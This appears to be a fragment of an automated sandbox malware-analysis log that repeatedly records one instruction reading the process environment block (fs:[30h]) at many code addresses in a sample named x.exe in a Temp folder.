Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345077F9 mov eax, dword ptr fs:[00000030h]	3_2_345077F9
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345077F9 mov eax, dword ptr fs:[00000030h]	3_2_345077F9
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3452E7E0 mov eax, dword ptr fs:[00000030h]	3_2_3452E7E0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345037E4 mov eax, dword ptr fs:[00000030h]	3_2_345037E4
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345037E4 mov eax, dword ptr fs:[00000030h]	3_2_345037E4
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345037E4 mov eax, dword ptr fs:[00000030h]	3_2_345037E4
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345037E4 mov eax, dword ptr fs:[00000030h]	3_2_345037E4
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345037E4 mov eax, dword ptr fs:[00000030h]	3_2_345037E4
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345037E4 mov eax, dword ptr fs:[00000030h]	3_2_345037E4
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345037E4 mov eax, dword ptr fs:[00000030h]	3_2_345037E4
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34531796 mov eax, dword ptr fs:[00000030h]	3_2_34531796
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34531796 mov eax, dword ptr fs:[00000030h]	3_2_34531796
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3457E79D mov eax, dword ptr fs:[00000030h]	3_2_3457E79D
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3457E79D mov eax, dword ptr fs:[00000030h]	3_2_3457E79D
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3457E79D mov eax, dword ptr fs:[00000030h]	3_2_3457E79D
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3457E79D mov eax, dword ptr fs:[00000030h]	3_2_3457E79D
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3457E79D mov eax, dword ptr fs:[00000030h]	3_2_3457E79D
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3457E79D mov eax, dword ptr fs:[00000030h]	3_2_3457E79D
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3457E79D mov eax, dword ptr fs:[00000030h]	3_2_3457E79D
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3457E79D mov eax, dword ptr fs:[00000030h]	3_2_3457E79D
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3457E79D mov eax, dword ptr fs:[00000030h]	3_2_3457E79D
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345DB781 mov eax, dword ptr fs:[00000030h]	3_2_345DB781
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345DB781 mov eax, dword ptr fs:[00000030h]	3_2_345DB781
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345D17BC mov eax, dword ptr fs:[00000030h]	3_2_345D17BC
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345007A7 mov eax, dword ptr fs:[00000030h]	3_2_345007A7
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345CD7A7 mov eax, dword ptr fs:[00000030h]	3_2_345CD7A7
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345CD7A7 mov eax, dword ptr fs:[00000030h]	3_2_345CD7A7
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345CD7A7 mov eax, dword ptr fs:[00000030h]	3_2_345CD7A7
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34501051 mov eax, dword ptr fs:[00000030h]	3_2_34501051
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34501051 mov eax, dword ptr fs:[00000030h]	3_2_34501051
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345D505B mov eax, dword ptr fs:[00000030h]	3_2_345D505B
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34530044 mov eax, dword ptr fs:[00000030h]	3_2_34530044
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34507072 mov eax, dword ptr fs:[00000030h]	3_2_34507072
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34506074 mov eax, dword ptr fs:[00000030h]	3_2_34506074
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34506074 mov eax, dword ptr fs:[00000030h]	3_2_34506074
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345A9060 mov eax, dword ptr fs:[00000030h]	3_2_345A9060
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34525004 mov eax, dword ptr fs:[00000030h]	3_2_34525004
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34525004 mov ecx, dword ptr fs:[00000030h]	3_2_34525004
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34508009 mov eax, dword ptr fs:[00000030h]	3_2_34508009
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344FD02D mov eax, dword ptr fs:[00000030h]	3_2_344FD02D
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3451B0D0 mov eax, dword ptr fs:[00000030h]	3_2_3451B0D0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344FB0D6 mov eax, dword ptr fs:[00000030h]	3_2_344FB0D6
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344FB0D6 mov eax, dword ptr fs:[00000030h]	3_2_344FB0D6
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344FB0D6 mov eax, dword ptr fs:[00000030h]	3_2_344FB0D6
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344FB0D6 mov eax, dword ptr fs:[00000030h]	3_2_344FB0D6
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3453D0F0 mov eax, dword ptr fs:[00000030h]	3_2_3453D0F0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3453D0F0 mov ecx, dword ptr fs:[00000030h]	3_2_3453D0F0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344F90F8 mov eax, dword ptr fs:[00000030h]	3_2_344F90F8
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344F90F8 mov eax, dword ptr fs:[00000030h]	3_2_344F90F8
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344F90F8 mov eax, dword ptr fs:[00000030h]	3_2_344F90F8
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344F90F8 mov eax, dword ptr fs:[00000030h]	3_2_344F90F8
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344FC0F6 mov eax, dword ptr fs:[00000030h]	3_2_344FC0F6
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344FA093 mov ecx, dword ptr fs:[00000030h]	3_2_344FA093
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345D4080 mov eax, dword ptr fs:[00000030h]	3_2_345D4080
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345D4080 mov eax, dword ptr fs:[00000030h]	3_2_345D4080
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345D4080 mov eax, dword ptr fs:[00000030h]	3_2_345D4080
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345D4080 mov eax, dword ptr fs:[00000030h]	3_2_345D4080
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345D4080 mov eax, dword ptr fs:[00000030h]	3_2_345D4080
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345D4080 mov eax, dword ptr fs:[00000030h]	3_2_345D4080
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345D4080 mov eax, dword ptr fs:[00000030h]	3_2_345D4080
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344FC090 mov eax, dword ptr fs:[00000030h]	3_2_344FC090
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345D50B7 mov eax, dword ptr fs:[00000030h]	3_2_345D50B7
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345400A5 mov eax, dword ptr fs:[00000030h]	3_2_345400A5
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345BB0AF mov eax, dword ptr fs:[00000030h]	3_2_345BB0AF
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345AF0A5 mov eax, dword ptr fs:[00000030h]	3_2_345AF0A5
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345AF0A5 mov eax, dword ptr fs:[00000030h]	3_2_345AF0A5
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345AF0A5 mov eax, dword ptr fs:[00000030h]	3_2_345AF0A5
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345AF0A5 mov eax, dword ptr fs:[00000030h]	3_2_345AF0A5
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345AF0A5 mov eax, dword ptr fs:[00000030h]	3_2_345AF0A5
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345AF0A5 mov eax, dword ptr fs:[00000030h]	3_2_345AF0A5
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345AF0A5 mov eax, dword ptr fs:[00000030h]	3_2_345AF0A5
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344FA147 mov eax, dword ptr fs:[00000030h]	3_2_344FA147
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344FA147 mov eax, dword ptr fs:[00000030h]	3_2_344FA147
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344FA147 mov eax, dword ptr fs:[00000030h]	3_2_344FA147
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345D3157 mov eax, dword ptr fs:[00000030h]	3_2_345D3157
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345D3157 mov eax, dword ptr fs:[00000030h]	3_2_345D3157
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345D3157 mov eax, dword ptr fs:[00000030h]	3_2_345D3157
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3453415F mov eax, dword ptr fs:[00000030h]	3_2_3453415F
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3459314A mov eax, dword ptr fs:[00000030h]	3_2_3459314A
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3459314A mov eax, dword ptr fs:[00000030h]	3_2_3459314A
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3459314A mov eax, dword ptr fs:[00000030h]	3_2_3459314A
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3459314A mov eax, dword ptr fs:[00000030h]	3_2_3459314A
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345D5149 mov eax, dword ptr fs:[00000030h]	3_2_345D5149
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34506179 mov eax, dword ptr fs:[00000030h]	3_2_34506179
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3455717A mov eax, dword ptr fs:[00000030h]	3_2_3455717A
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3455717A mov eax, dword ptr fs:[00000030h]	3_2_3455717A
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34530118 mov eax, dword ptr fs:[00000030h]	3_2_34530118
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344FF113 mov eax, dword ptr fs:[00000030h]	3_2_344FF113
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344FF113 mov eax, dword ptr fs:[00000030h]	3_2_344FF113
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344FF113 mov eax, dword ptr fs:[00000030h]	3_2_344FF113
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344FF113 mov eax, dword ptr fs:[00000030h]	3_2_344FF113
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344FF113 mov eax, dword ptr fs:[00000030h]	3_2_344FF113
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344FF113 mov eax, dword ptr fs:[00000030h]	3_2_344FF113
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344FF113 mov eax, dword ptr fs:[00000030h]	3_2_344FF113
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344FF113 mov eax, dword ptr fs:[00000030h]	3_2_344FF113
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344FF113 mov eax, dword ptr fs:[00000030h]	3_2_344FF113
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344FF113 mov eax, dword ptr fs:[00000030h]	3_2_344FF113
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344FF113 mov eax, dword ptr fs:[00000030h]	3_2_344FF113
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344FF113 mov eax, dword ptr fs:[00000030h]	3_2_344FF113
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344FF113 mov eax, dword ptr fs:[00000030h]	3_2_344FF113
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344FF113 mov eax, dword ptr fs:[00000030h]	3_2_344FF113
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344FF113 mov eax, dword ptr fs:[00000030h]	3_2_344FF113
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344FF113 mov eax, dword ptr fs:[00000030h]	3_2_344FF113
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344FF113 mov eax, dword ptr fs:[00000030h]	3_2_344FF113
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344FF113 mov eax, dword ptr fs:[00000030h]	3_2_344FF113
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344FF113 mov eax, dword ptr fs:[00000030h]	3_2_344FF113
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344FF113 mov eax, dword ptr fs:[00000030h]	3_2_344FF113
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344FF113 mov eax, dword ptr fs:[00000030h]	3_2_344FF113
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3452510F mov eax, dword ptr fs:[00000030h]	3_2_3452510F
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3452510F mov eax, dword ptr fs:[00000030h]	3_2_3452510F
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3452510F mov eax, dword ptr fs:[00000030h]	3_2_3452510F
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3452510F mov eax, dword ptr fs:[00000030h]	3_2_3452510F
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3452510F mov eax, dword ptr fs:[00000030h]	3_2_3452510F
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3452510F mov eax, dword ptr fs:[00000030h]	3_2_3452510F
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3452510F mov eax, dword ptr fs:[00000030h]	3_2_3452510F
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3452510F mov eax, dword ptr fs:[00000030h]	3_2_3452510F
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3452510F mov eax, dword ptr fs:[00000030h]	3_2_3452510F
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3452510F mov eax, dword ptr fs:[00000030h]	3_2_3452510F
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3452510F mov eax, dword ptr fs:[00000030h]	3_2_3452510F
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3452510F mov eax, dword ptr fs:[00000030h]	3_2_3452510F
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3452510F mov eax, dword ptr fs:[00000030h]	3_2_3452510F
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3450510D mov eax, dword ptr fs:[00000030h]	3_2_3450510D
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345BF13E mov eax, dword ptr fs:[00000030h]	3_2_345BF13E
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34537128 mov eax, dword ptr fs:[00000030h]	3_2_34537128
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34537128 mov eax, dword ptr fs:[00000030h]	3_2_34537128
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345101C0 mov eax, dword ptr fs:[00000030h]	3_2_345101C0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345101C0 mov eax, dword ptr fs:[00000030h]	3_2_345101C0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345151C0 mov eax, dword ptr fs:[00000030h]	3_2_345151C0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345151C0 mov eax, dword ptr fs:[00000030h]	3_2_345151C0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345151C0 mov eax, dword ptr fs:[00000030h]	3_2_345151C0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345151C0 mov eax, dword ptr fs:[00000030h]	3_2_345151C0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345101F1 mov eax, dword ptr fs:[00000030h]	3_2_345101F1
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345101F1 mov eax, dword ptr fs:[00000030h]	3_2_345101F1
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345101F1 mov eax, dword ptr fs:[00000030h]	3_2_345101F1
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3452F1F0 mov eax, dword ptr fs:[00000030h]	3_2_3452F1F0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3452F1F0 mov eax, dword ptr fs:[00000030h]	3_2_3452F1F0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344F81EB mov eax, dword ptr fs:[00000030h]	3_2_344F81EB
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345C81EE mov eax, dword ptr fs:[00000030h]	3_2_345C81EE
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345C81EE mov eax, dword ptr fs:[00000030h]	3_2_345C81EE
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3452B1E0 mov eax, dword ptr fs:[00000030h]	3_2_3452B1E0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3452B1E0 mov eax, dword ptr fs:[00000030h]	3_2_3452B1E0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3452B1E0 mov eax, dword ptr fs:[00000030h]	3_2_3452B1E0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3452B1E0 mov eax, dword ptr fs:[00000030h]	3_2_3452B1E0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3452B1E0 mov eax, dword ptr fs:[00000030h]	3_2_3452B1E0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3452B1E0 mov eax, dword ptr fs:[00000030h]	3_2_3452B1E0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3452B1E0 mov eax, dword ptr fs:[00000030h]	3_2_3452B1E0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3450A1E3 mov eax, dword ptr fs:[00000030h]	3_2_3450A1E3
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3450A1E3 mov eax, dword ptr fs:[00000030h]	3_2_3450A1E3
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3450A1E3 mov eax, dword ptr fs:[00000030h]	3_2_3450A1E3
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3450A1E3 mov eax, dword ptr fs:[00000030h]	3_2_3450A1E3
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3450A1E3 mov eax, dword ptr fs:[00000030h]	3_2_3450A1E3
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345091E5 mov eax, dword ptr fs:[00000030h]	3_2_345091E5
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345091E5 mov eax, dword ptr fs:[00000030h]	3_2_345091E5
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344F91F0 mov eax, dword ptr fs:[00000030h]	3_2_344F91F0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344F91F0 mov eax, dword ptr fs:[00000030h]	3_2_344F91F0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34541190 mov eax, dword ptr fs:[00000030h]	3_2_34541190
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34541190 mov eax, dword ptr fs:[00000030h]	3_2_34541190
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34529194 mov eax, dword ptr fs:[00000030h]	3_2_34529194
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34504180 mov eax, dword ptr fs:[00000030h]	3_2_34504180
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34504180 mov eax, dword ptr fs:[00000030h]	3_2_34504180
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34504180 mov eax, dword ptr fs:[00000030h]	3_2_34504180
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345341BB mov ecx, dword ptr fs:[00000030h]	3_2_345341BB
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345341BB mov eax, dword ptr fs:[00000030h]	3_2_345341BB
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345341BB mov eax, dword ptr fs:[00000030h]	3_2_345341BB
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345D51B6 mov eax, dword ptr fs:[00000030h]	3_2_345D51B6
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345331BE mov eax, dword ptr fs:[00000030h]	3_2_345331BE
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345331BE mov eax, dword ptr fs:[00000030h]	3_2_345331BE
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3453E1A4 mov eax, dword ptr fs:[00000030h]	3_2_3453E1A4
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3453E1A4 mov eax, dword ptr fs:[00000030h]	3_2_3453E1A4
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3452F24A mov eax, dword ptr fs:[00000030h]	3_2_3452F24A
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345BF247 mov eax, dword ptr fs:[00000030h]	3_2_345BF247
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3459327E mov eax, dword ptr fs:[00000030h]	3_2_3459327E
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3459327E mov eax, dword ptr fs:[00000030h]	3_2_3459327E
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3459327E mov eax, dword ptr fs:[00000030h]	3_2_3459327E
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3459327E mov eax, dword ptr fs:[00000030h]	3_2_3459327E
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3459327E mov eax, dword ptr fs:[00000030h]	3_2_3459327E
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3459327E mov eax, dword ptr fs:[00000030h]	3_2_3459327E
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345BD270 mov eax, dword ptr fs:[00000030h]	3_2_345BD270
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344FB273 mov eax, dword ptr fs:[00000030h]	3_2_344FB273
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344FB273 mov eax, dword ptr fs:[00000030h]	3_2_344FB273
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344FB273 mov eax, dword ptr fs:[00000030h]	3_2_344FB273
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3458B214 mov eax, dword ptr fs:[00000030h]	3_2_3458B214
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3458B214 mov eax, dword ptr fs:[00000030h]	3_2_3458B214
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344FA200 mov eax, dword ptr fs:[00000030h]	3_2_344FA200
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344F821B mov eax, dword ptr fs:[00000030h]	3_2_344F821B
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34520230 mov ecx, dword ptr fs:[00000030h]	3_2_34520230
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3453A22B mov eax, dword ptr fs:[00000030h]	3_2_3453A22B
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3453A22B mov eax, dword ptr fs:[00000030h]	3_2_3453A22B
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3453A22B mov eax, dword ptr fs:[00000030h]	3_2_3453A22B
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34580227 mov eax, dword ptr fs:[00000030h]	3_2_34580227
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34580227 mov eax, dword ptr fs:[00000030h]	3_2_34580227
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34580227 mov eax, dword ptr fs:[00000030h]	3_2_34580227
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345D32C9 mov eax, dword ptr fs:[00000030h]	3_2_345D32C9
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345232C5 mov eax, dword ptr fs:[00000030h]	3_2_345232C5
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344FD2EC mov eax, dword ptr fs:[00000030h]	3_2_344FD2EC
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344FD2EC mov eax, dword ptr fs:[00000030h]	3_2_344FD2EC
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345102F9 mov eax, dword ptr fs:[00000030h]	3_2_345102F9
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345102F9 mov eax, dword ptr fs:[00000030h]	3_2_345102F9
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345102F9 mov eax, dword ptr fs:[00000030h]	3_2_345102F9
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345102F9 mov eax, dword ptr fs:[00000030h]	3_2_345102F9
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345102F9 mov eax, dword ptr fs:[00000030h]	3_2_345102F9
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345102F9 mov eax, dword ptr fs:[00000030h]	3_2_345102F9
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345102F9 mov eax, dword ptr fs:[00000030h]	3_2_345102F9
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345102F9 mov eax, dword ptr fs:[00000030h]	3_2_345102F9
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344F72E0 mov eax, dword ptr fs:[00000030h]	3_2_344F72E0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3450A2E0 mov eax, dword ptr fs:[00000030h]	3_2_3450A2E0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3450A2E0 mov eax, dword ptr fs:[00000030h]	3_2_3450A2E0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3450A2E0 mov eax, dword ptr fs:[00000030h]	3_2_3450A2E0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3450A2E0 mov eax, dword ptr fs:[00000030h]	3_2_3450A2E0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3450A2E0 mov eax, dword ptr fs:[00000030h]	3_2_3450A2E0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3450A2E0 mov eax, dword ptr fs:[00000030h]	3_2_3450A2E0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345082E0 mov eax, dword ptr fs:[00000030h]	3_2_345082E0
